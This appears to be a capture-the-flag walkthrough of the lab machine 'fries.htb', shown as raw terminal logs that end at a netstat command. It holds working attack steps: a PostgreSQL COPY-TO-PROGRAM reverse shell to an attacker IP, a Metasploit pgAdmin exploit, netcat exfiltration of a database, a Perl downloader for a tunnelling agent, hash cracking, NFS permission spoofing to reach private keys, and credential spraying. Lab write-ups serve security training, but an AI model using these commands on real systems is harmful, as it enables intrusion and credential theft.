1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

# Nmap 7.95 scan initiated Sat Nov 22 13:10:04 2025 as: /usr/lib/nmap/nmap --privileged -p22,53,80,88,135,139,389,443,445,464,593,636,2179,3268,3269,5985,9389,49666,49669,49670,49674,49677,49901,60342,60373 -sV -sC -oN nmap_scan 10.10.11.96
Nmap scan report for 10.10.11.96
Host is up (0.067s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
53/tcp    open  domain        (generic dns response: SERVFAIL)
| fingerprint-strings: 
|   DNS-SD-TCP: 
|     _services
|     _dns-sd
|     _udp
|_    local
80/tcp    open  http          nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://fries.htb/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-23 02:09:46Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after:  2105-11-18T05:39:19
|_ssl-date: 2025-11-23T02:11:22+00:00; +6h59m35s from scanner time.
443/tcp   open  ssl/http      nginx 1.18.0 (Ubuntu)
| tls-alpn: 
|_  http/1.1
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
| ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP
| Not valid before: 2025-06-01T22:06:09
|_Not valid after:  2026-06-01T22:06:09
| tls-nextprotoneg: 
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T02:11:21+00:00; +6h59m35s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after:  2105-11-18T05:39:19
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T02:11:22+00:00; +6h59m35s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after:  2105-11-18T05:39:19
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T02:11:21+00:00; +6h59m35s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after:  2105-11-18T05:39:19
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49901/tcp open  msrpc         Microsoft Windows RPC
60342/tcp open  msrpc         Microsoft Windows RPC
60373/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=11/22%Time=69220AA2%P=x86_64-pc-linux-gnu%r(DNS
SF:-SD-TCP,30,"\0\.\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x0
SF:4_udp\x05local\0\0\x0c\0\x01");
Service Info: Host: DC01; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-11-23T02:10:44
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m34s, deviation: 0s, median: 6h59m34s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 22 13:11:47 2025 -- 1 IP address (1 host up) scanned in 103.42 seconds

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

❯ netexec ldap fries.htb -u d.cooper -p 'D4LE11maan!!'
LDAP        10.10.11.96   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never) 
LDAP        10.10.11.96   389    DC01             [-] fries.htb\d.cooper:D4LE11maan!! 
❯ netexec smb fries.htb -u d.cooper -p 'D4LE11maan!!'
SMB         10.10.11.96   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.10.11.96   445    DC01             [-] fries.htb\d.cooper:D4LE11maan!! STATUS_LOGON_FAILURE 
❯ netexec winrm fries.htb -u d.cooper -p 'D4LE11maan!!'
WINRM       10.10.11.96   5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) 
WINRM       10.10.11.96   5985   DC01             [-] fries.htb\d.cooper:D4LE11maan!!
❯ 

1
2
3
4
5
6
7
8
9

❯ curl -sI fries.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 23 Nov 2025 03:11:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 14954
Connection: keep-alive

❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

❯ feroxbuster -u http://fries.htb/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://fries.htb/
 🚩  In-Scope Url          │ fries.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      481l      928w     9430c http://fries.htb/static/css/style.css
200      GET       79l      189w     2540c http://fries.htb/static/js/main.js
200      GET      303l     1083w    14932c http://fries.htb/about
200      GET      393l     1145w    19931c http://fries.htb/menu
200      GET      309l     1013w    14954c http://fries.htb/
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.fries.htb" -u http://fries.htb -fl 8

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://fries.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.fries.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 8
________________________________________________

code                    [Status: 200, Size: 13593, Words: 1048, Lines: 272, Duration: 97ms]
:: Progress: [151265/151265] :: Job [1/1] :: 593 req/sec :: Duration: [0:04:21] :: Errors: 0 ::
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

❯ git clone http://code.fries.htb/dale/fries.htb.git
Cloning into 'fries.htb'...
Username for 'http://code.fries.htb': dale
Password for 'http://dale@code.fries.htb': 
remote: Enumerating objects: 61, done.
remote: Counting objects: 100% (61/61), done.
remote: Compressing objects: 100% (58/58), done.
remote: Total 61 (delta 19), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (61/61), 85.82 KiB | 641.00 KiB/s, done.
Resolving deltas: 100% (19/19), done.
❯

1
2
3
4
5

### 🛠 Configuration

- Ensure the backend PostgreSQL database is accessible and contains the necessary schema - `ps_db`
- The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires infra access, contact Dylan, Mike or Dale)
- Make sure the appropriate credentials and network routing are in place.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

❯ git show 83eef4b82f7acf78a3a1a0c66f844fee1f1cb9de
commit 83eef4b82f7acf78a3a1a0c66f844fee1f1cb9de
Author: administrator <administrator@fries.htb>
Date:   Wed May 28 10:57:50 2025 +0000

    Update README.md

diff --git a/README.md b/README.md
index 5bf6727..0541cb7 100644
--- a/README.md
+++ b/README.md
@@ -51,7 +51,7 @@ docker run -d \
 ### 🛠 Configuration
 
 - Ensure the backend PostgreSQL database is accessible and contains the necessary schema - `ps_db`
-- The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires mod v3 access, contact Dylan, Mike etc)
+- The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires mod v3 access, contact Dylan, Mike or Me)
 - Make sure the appropriate credentials and network routing are in place.
 
 ## 🧰 Tech Stack
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

❯ git show be59cceb54b56f00778822395bdf656216ab4b9f
commit be59cceb54b56f00778822395bdf656216ab4b9f
Author: Dale Cooper <dale@fries.htb>
Date:   Wed May 28 09:30:36 2025 +0000

    Initial Commit

diff --git a/.env b/.env
new file mode 100644
index 0000000..3fd9e1c
--- /dev/null
+++ b/.env
@@ -0,0 +1,2 @@
+DATABASE_URL=postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db
+SECRET_KEY=y0st528wn1idjk3b9a

1
2
3
4

# /* SELECT email, salt, passwd, passwd_hash_algo FROM "user"; */
Row,email,salt,passwd (Hash),passwd_hash_algo
1,d.cooper@fries.htb,48bb6cb68aa810841c0e4f6d9bf19592,8ba77f28df211ea62db7fbecbfb595cd0568f9e34e0832ae87dfa45154f592eff45453041f1c1b7cc46dc62b94cb70abc67e,pbkdf2$50000$50
2,administrator@fries.htb,65c13aa196bbd6189387a345febfdc21,67faad48c47a340b45ca87fa1dc4d048ce6b41bb6fae6b555240f1ffdc31367ddb8430a46811a7d402618aec8cce4f00143e,pbkdf2$50000$50

1
2
3
4

# digest=$(echo "67faad48c47a340b45ca87fa1dc4d048ce6b41bb6fae6b555240f1ffdc31367ddb8430a46811a7d402618aec8cce4f00143e" | xxd -r -p | base64); salt=$(echo "65c13aa196bbd6189387a345febfdc21"| xxd -r -p | base64); name=$(echo "administrator@fries.htb"); echo "${name}:sha256:50000:${salt}:${digest}";
administrator@fries.htb:sha256:50000:ZcE6oZa71hiTh6NF/r/cIQ==:Z/qtSMR6NAtFyof6HcTQSM5rQbtvrmtVUkDx/9wxNn3bhDCkaBGn1AJhiuyMzk8AFD4=

# ./hashcat.exe 'administrator@fries.htb:sha256:50000:ZcE6oZa71hiTh6NF/r/cIQ==:Z/qtSMR6NAtFyof6HcTQSM5rQbtvrmtVUkDx/9wxNn3bhDCkaBGn1AJhiuyMzk8AFD4=' rockyou.txt --user

1

COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.15.134/4444 0>&1"';

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

❯ rlwrap nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.15.134] from fries.htb [10.10.11.96] 49862
bash: cannot set terminal process group (374): Inappropriate ioctl for device
bash: no job control in this shell
postgres@858fdf51af59:~/data$ whoami;id;pwd
postgres
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
/var/lib/postgresql/data
postgres@858fdf51af59:~/data$ env
HOSTNAME=858fdf51af59
POSTGRES_PASSWORD=PsqLR00tpaSS11
PGLOCALEDIR=/usr/share/locale
LC_MONETARY=C
PWD=/var/lib/postgresql/data
HOME=/var/lib/postgresql
LANG=en_US.utf8
GOSU_VERSION=1.17
POSTGRES_INITDB_ARGS=
PG_MAJOR=16
PG_VERSION=16.9-1.pgdg120+1
SHLVL=2
POSTGRES_USER=root
PGSYSCONFDIR=/etc/postgresql-common
LC_MESSAGES=en_US.utf8
LC_CTYPE=en_US.utf8
LC_TIME=C
PGDATA=/var/lib/postgresql/data
LC_COLLATE=en_US.utf8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/postgresql/16/bin
POSTGRES_DB=ps_db
LC_NUMERIC=C
_=/usr/bin/env
postgres@858fdf51af59:~/data$ hostname -i
172.18.0.3
postgres@858fdf51af59:~/data$ ls -la /
total 64
drwxr-xr-x   1 root root 4096 May 28  2025 .
drwxr-xr-x   1 root root 4096 May 28  2025 ..
lrwxrwxrwx   1 root root    7 May 20  2025 bin -> usr/bin
drwxr-xr-x   2 root root 4096 May  9  2025 boot
drwxr-xr-x   5 root root  340 Jan 27 11:40 dev
drwxr-xr-x   2 root root 4096 May 22  2025 docker-entrypoint-initdb.d
-rwxr-xr-x   1 root root    0 May 28  2025 .dockerenv
drwxr-xr-x   1 root root 4096 May 28  2025 etc
drwxr-xr-x   2 root root 4096 May  9  2025 home
lrwxrwxrwx   1 root root    7 May 20  2025 lib -> usr/lib
lrwxrwxrwx   1 root root    9 May 20  2025 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4096 May 20  2025 media
drwxr-xr-x   2 root root 4096 May 20  2025 mnt
drwxr-xr-x   2 root root 4096 May 20  2025 opt
dr-xr-xr-x 229 root root    0 Jan 27 11:40 proc
drwx------   1 root root 4096 May 22  2025 root
drwxr-xr-x   1 root root 4096 May 22  2025 run
lrwxrwxrwx   1 root root    8 May 20  2025 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 May 20  2025 srv
dr-xr-xr-x  13 root root    0 Jan 27 11:40 sys
drwxrwxrwt   2 root root 4096 May 20  2025 tmp
drwxr-xr-x   1 root root 4096 May 20  2025 usr
drwxr-xr-x   1 root root 4096 May 20  2025 var
postgres@858fdf51af59:~/data$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

msf exploit(multi/http/pgadmin_query_tool_authenticated) > show options 

Module options (exploit/multi/http/pgadmin_query_tool_authenticated):

   Name           Current Setting      Required  Description
   ----           ---------------      --------  -----------
   DB_NAME        ps_db                yes       The database to authenticate to
   DB_PASS        PsqLR00tpaSS11       yes       The password to authenticate to the database with
   DB_USER        root                 yes       The username to authenticate to the database with
   MAX_SERVER_ID  10                   yes       The maximum number of Server IDs to try and connect to.
   PASSWORD       D4LE11maan!!         yes       The password to authenticate to pgadmin with
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
   RHOSTS         db-mgmt05.fries.htb  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          80                   yes       The target port (TCP)
   SSL            false                no        Negotiate SSL/TLS for outgoing connections
   USERNAME       d.cooper@fries.htb   yes       The username to authenticate to pgadmin with
   VHOST                               no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.15.134      yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Python payload



View the full module info with the info, or info -d command.

msf exploit(multi/http/pgadmin_query_tool_authenticated) >

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

msf exploit(multi/http/pgadmin_query_tool_authenticated) > run
[*] Started reverse TCP handler on 10.10.15.134:5555 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. pgAdmin version 9.1.0 is affected
[+] Successfully authenticated to pgAdmin
[+] Successfully initialized sqleditor
[*] Exploiting the target...
[*] Command shell session 1 opened (10.10.15.134:5555 -> 10.10.11.96:49874) at 2025-11-22 18:22:53 -0600
[-] No response received from exploit attempt
[-] Received an unexpected response code from the exploit attempt: 

whoami
pgadmin
env
HOSTNAME=cb46692a4590
SHLVL=1
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
CONFIG_DISTRO_FILE_PATH=/pgadmin4/config_distro.py
HOME=/home/pgadmin
PGADMIN_DEFAULT_EMAIL=admin@fries.htb
SERVER_SOFTWARE=gunicorn/22.0.0
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OAUTHLIB_INSECURE_TRANSPORT=1
CORRUPTED_DB_BACKUP_FILE=
PWD=/pgadmin4
PGAPPNAME=pgAdmin 4 - CONN:9109361
PYTHONPATH=/pgadmin4
hostname -i
172.18.0.4
ls -lah /.dockerenv
-rwxr-xr-x    1 root     root           0 May 28  2025 /.dockerenv

1
2
3
4
5
6
7

# nc -w 3 10.10.15.134 1234 < ../var/lib/pgadmin/pgadmin4.db
❯ nc -lvp 1234 > pgadmin4.db
listening on [any] 1234 ...
connect to [10.10.15.134] from fries.htb [10.10.11.96] 49797
❯ file pgadmin4.db
pgadmin4.db: SQLite 3.x database, last written using SQLite version 3048000, file counter 753, database pages 50, cookie 0x7d, schema 4, UTF-8, version-valid-for 753
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open pgadmin4.db
sqlite> .tables
alembic_version              roles_users                
database                     server                     
debugger_function_arguments  servergroup                
keys                         setting                    
macros                       sharedserver               
module_preference            user                       
preference_category          user_macros                
preferences                  user_mfa                   
process                      user_preferences           
query_history                version                    
role                       
sqlite> select * from user;
1|admin@fries.htb|$pbkdf2-sha512$25000$.1.LkVKqda41JiTEuPf.vw$zF4oGyuGsb6opn1fkDlZbF1qYW.8E31Zewpz9uj5o01XWoXOcUAuhLFapBmaTEpOedBQWYJT6BjYtO8iJH7ifw|1||6c6b63596d4a34326a53665a3642745077635a71445645694d387761662f596c654a355a6d7268344c5a6d796367705a5a673d3d|admin@fries.htb|internal|e2df2475a4154a8c8f7efd5e6fbad373|0|0
2|d.cooper@fries.htb|$pbkdf2-sha512$25000$GQOAMCbknFPqvVdKqXXunQ$gamImbnZuJlKQxbgM5x2YUgb0sjGj6DAhTeSB8C40eVAit48ho8eXrW0TtPod3V.8Ql5k5SgdsdTrgiEXf9MWA|1||43512f354934526c477352592b717454365a615654754e4c59477334306a547a4a347361394843445247654741714b6674673d3d|d.cooper@fries.htb|internal|207706343b034d74b64b4afe51f92467|0|0
sqlite>

1
2
3
4
5

postgres@858fdf51af59:/tmp$ perl -e 'use IO::Socket::INET;$s=IO::Socket::INET->new("10.10.15.134:80");print $s "GET /agent_linux HTTP/1.0\r\nHost: server\r\n\r\n";$h=1;open F,">out.bin";while(<$s>){if($h && /^\r?$/){$h=0;next} print F unless $h}'
postgres@858fdf51af59:/tmp$ mv out.bin agent; chmod +x agent
postgres@858fdf51af59:/tmp$ ./agent -connect 10.10.15.134:443 -ignore-cert
time="2025-11-23T05:26:53Z" level=warning msg="warning, certificate validation disabled"
time="2025-11-23T05:26:54Z" level=info msg="Connection established" addr="10.10.15.134:443"

1
2
3

interface_create --name fries
tunnel_start --tun fries
interface_add_route --name fries --route 172.18.0.0/16

1
2
3
4
5
6
7
8

❯ for j in {1..255}; do ping -c1 -W1 172.18.0.$j >/dev/null && echo "UP: 172.18.0.$j"; done
UP: 172.18.0.1
UP: 172.18.0.2
UP: 172.18.0.3
UP: 172.18.0.4
UP: 172.18.0.5
UP: 172.18.0.6
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

❯ nmap 172.18.0.1-6
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-22 17:06 CST
Nmap scan report for 172.18.0.1
Host is up (0.079s latency).
Not shown: 993 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
2049/tcp open  nfs
3000/tcp open  ppp
8443/tcp open  https-alt

Nmap scan report for 172.18.0.2
Host is up (0.074s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE
5000/tcp open  upnp

Nmap scan report for 172.18.0.3
Host is up (0.081s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE
5432/tcp open  postgresql

Nmap scan report for 172.18.0.4
Host is up (0.077s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for 172.18.0.5
Host is up (0.082s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

Nmap scan report for 172.18.0.6
Host is up (0.075s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE
8443/tcp open  https-alt

Nmap done: 6 IP addresses (6 hosts up) scanned in 15.00 seconds
❯

1
2
3
4
5
6

172.18.0.1 ----> unknown
172.18.0.2 ----> fries.htb
172.18.0.3 ----> postgresql
172.18.0.4 ----> pgAdmin
172.18.0.5 ----> gitea
172.18.0.6 ----> pwm

1
2
3
4

❯ showmount -e 172.18.0.1
Export list for 172.18.0.1:
/srv/web.fries.htb *
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

❯ mkdir web_fries_htb
❯ sudo mount -t nfs 172.18.0.1:/srv/web.fries.htb web_fries_htb/ -o nolock
[sudo] password for kali: 
❯ cd web_fries_htb
❯ tree .
.
├── certs  [error opening dir]
├── shared
└── webroot
    ├── app
    │   ├── __init__.py
    │   ├── models.py
    │   ├── __pycache__
    │   │   ├── __init__.cpython-310.pyc
    │   │   ├── __init__.cpython-311.pyc
    │   │   ├── __init__.rustpython-01.pyc
    │   │   ├── models.cpython-310.pyc
    │   │   ├── models.cpython-311.pyc
    │   │   ├── routes.cpython-310.pyc
    │   │   └── routes.cpython-311.pyc
    │   ├── routes.py
    │   ├── static
    │   │   ├── css
    │   │   │   └── style.css
    │   │   └── js
    │   │       └── main.js
    │   └── templates
    │       ├── about.html
    │       ├── base.html
    │       ├── home.html
    │       └── menu.html
    ├── docker-compose.yml
    ├── Dockerfile
    ├── docs
    │   └── images
    │       ├── docker-build.png
    │       └── docker-ps.png
    ├── README.md
    ├── requirements.txt
    └── run.py

12 directories, 23 files
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

❯ stat certs
  File: certs
  Size: 4096      	Blocks: 8          IO Block: 524288 directory
Device: 0,72	Inode: 655365      Links: 2
Access: (0770/drwxrwx---)  Uid: (    0/    root)   Gid: (59605603/ UNKNOWN)
Access: 2025-06-07 07:29:56.365649100 -0600
Modify: 2025-05-26 12:13:35.922564627 -0600
Change: 2025-05-31 05:06:25.598354000 -0600
 Birth: -

❯ 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

❯ git clone https://github.com/Supermathie/nfsshell
Cloning into 'nfsshell'...
remote: Enumerating objects: 86, done.
remote: Counting objects: 100% (32/32), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 86 (delta 16), reused 27 (delta 16), pack-reused 54 (from 1)
Receiving objects: 100% (86/86), 90.39 KiB | 890.00 KiB/s, done.
Resolving deltas: 100% (38/38), done.
❯ make
gcc -g -DREADLINE -I/usr/local/include -I/usr/include/tirpc   -c -o nfsshell.o nfsshell.c
gcc -g -o nfsshell mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o -L/usr/local/lib -lreadline -lhistory -lncurses -ltirpc
❯ ls
 mail          Makefile   mount.x        mount_clnt.o   mount_xdr.c   nfs_prot.h   nfs_prot_clnt.c   nfs_prot_svc.c   nfs_prot_xdr.o   nfsshell.c   READ_ME     steal.c
 LICENSE.txt   mount.h    mount_clnt.c   mount_svc.c    mount_xdr.o   nfs_prot.x   nfs_prot_clnt.o   nfs_prot_xdr.c   nfsshell         nfsshell.o   README.md  
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

❯ ./nfsshell
nfs> host
Usage: host <host>
nfs> host 172.18.0.1
Using a privileged port (1021)
Open 172.18.0.1 (172.18.0.1) TCP
nfs> export
Export list for 172.18.0.1:
/srv/web.fries.htb       * 
nfs> mount /srv/web.fries.htb
Using a privileged port (1020)
Mount `/srv/web.fries.htb', TCP, transfer size 524288 bytes.
nfs>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

nfs> ls -l
drw-r-xr-x  5      655     0      4096  May 28  2025  .
drw-r-xr-x  5      655     0      4096  May 28  2025  ..
drwxrwx---  2        059605603      4096  May 31  2025  certs
drwxrwxrwx  2        0     0      4096  Nov 27  2025  shared
drwxr-----  5     1000  1000      4096  Jun  7 07:32  webroot
nfs> uid 0
nfs> gid 59605603
nfs> ls certs
certs
nfs> cd certs
nfs> ls
.
..
ca-key.pem
ca.pem
server-cert.pem
server-key.pem
server-openssl.cnf
server.csr
nfs>
nfs> cat server-openssl.cnf
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = req_ext

[dn]
CN = fries

[req_ext]
subjectAltName = @alt_names

[alt_names]
DNS.1 = web
IP.1 = 127.0.0.1
nfs>

1
2
3

❯ netexec ssh fries.htb -u users.txt -p pass.txt | grep '[+]'
SSH                      10.10.11.96   22     fries.htb        [+] svc:Friesf00Ds2025!!  Linux - Shell access!
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

❯ ssh svc@10.10.11.96
The authenticity of host '10.10.11.96 (10.10.11.96)' can't be established.
ED25519 key fingerprint is: SHA256:++SuiiJ+ZwG7d5q6fb9KqhQRx1gGhVOfGR24bbTuipg
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.96' (ED25519) to the list of known hosts.
svc@10.10.11.96's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-87-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Nov 23 07:46:53 AM UTC 2025

  System load:  0.03               Processes:             183
  Usage of /:   66.8% of 13.67GB   Users logged in:       0
  Memory usage: 53%                IPv4 address for eth0: 192.168.100.2
  Swap usage:   0%

  => There is 1 zombie process.


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Nov 19 20:53:19 2025 from 10.10.14.77
svc@web:~$ whoami;id;pwd
svc
uid=1000(svc) gid=1000(svc) groups=1000(svc)
/home/svc
svc@web:~$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

svc@web:~$ netstat -ntpl
